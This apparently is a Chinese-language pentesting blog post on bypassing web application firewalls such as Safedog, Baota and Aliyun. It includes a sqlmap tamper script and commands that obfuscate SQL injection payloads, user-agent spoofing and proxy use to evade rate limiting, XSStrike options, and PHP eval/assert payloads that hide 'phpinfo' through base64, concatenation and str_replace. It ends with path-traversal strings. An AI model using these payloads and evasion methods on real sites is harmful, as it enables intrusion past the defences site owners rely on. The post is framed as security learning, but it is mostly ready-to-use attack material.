目录
前言:
(一)SQL注入
0x01 sqlmap注入
修改user-agent头:
(二)文件上传
(三)XSS跨站
(四)RCE绕过waf
RCE代码:
1.输入echo 123; 并执行,成功输出
2.但是当输入phpinfo();
3.打开宝塔的日志
4.可逆加解密
5、宝塔拦截
6、拼接绕过
7、str_replace函数替换变量中指定的字符串为空
8、禁用assert绕过
9、改变提交方式
(五)文件包含
这里介绍常见的漏洞利用绕过的方法,方法有很多很多,一定要有自己的思想,就拿逻辑漏洞来说,AWVS、AppScan、Xray、Nessus、Sqlmap......这些自动化工具是扫描不出来的,加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?要学会尝试自己造轮子,本篇文章引入几种简单方式,希望打开大家思路
之前简单总结过,感兴趣的点这里
防cc拦截:修改user-agent头+代理(付费代理池)
(1)加参数:--random-agent
(2)加参数:--user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"(利用爬虫技术)
各大搜索引擎的User-Agent:https://www.jinyouxin.com/iack/p/3557371.html
(3)修改配置文件sqlmap.conf中的agent变量值
加代理:--proxy="http:tps123.kdlapi.com:15818"
绕过安全狗:自写tamper模块,参考如下waf-dog.py
绕过Aliyun:基本修改指纹即可(修改user-agent头)
绕过宝塔:匹配关键字外加/*等,我们可以通过%00进行截断.eg:%00/*!select ...*/
安全狗:参考之前 payload(现在不行了)
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def tamper(payload, **kwargs):
retVal = ""
if payload:
payload = payload.replace("union", "%23a%0union")
payload = payload.replace("select", "/*!44534select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace("", "%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload
sqlmap.py 利用
python sqlmap.py -u "http://192.168.224.130/xscj/pikachu-master/vul/sqli/sqli_str.php?name=1%22&submit=%E6%9F%A5%E8%AF%A2" --random-agent --tamper=ridog.py
更改上传后缀名的格式(很多方法,具体在文件上传的笔记,这里就不多说了)
文件上传漏洞__Cyber的博客-CSDN博客_常见的文件上传漏洞
利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数XSStrike参数:
-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串
当对方网站上存在RCE漏洞,但是开启了安全狗和宝塔时:
phpinfo();
此
时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截
被拦截了:
发现是被宝塔拦截了,因为post传入的参数被检测出来触发了它的过滤规则
此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字,先把
phpinfo();
用base64加密,结果为cGhwaW5mbygpOw==
,然后用php中的base64解密函数base64_decode()
进行解密,所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);
提交即可当post将字符串
base64_decode(‘cGhwaW5mbygpOw==’);
提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();
进行了解密还原。
提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是
base64_decode()
(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)
因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能。
例子:$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a
$y=str_replace('x','','pxhpxinxfo()');assert($y);
上面的方法都有用到
assert
来执行phpinfo();
如果assert也被过滤了呢?此时我们也可以用拼接字符串或者str_replace
拆分来绕过关键字
当然可以通过$_REQUEST
提交方式绕过
总之方法又很多,值得去思考!
以下几种:..\ ..../ ..\.\等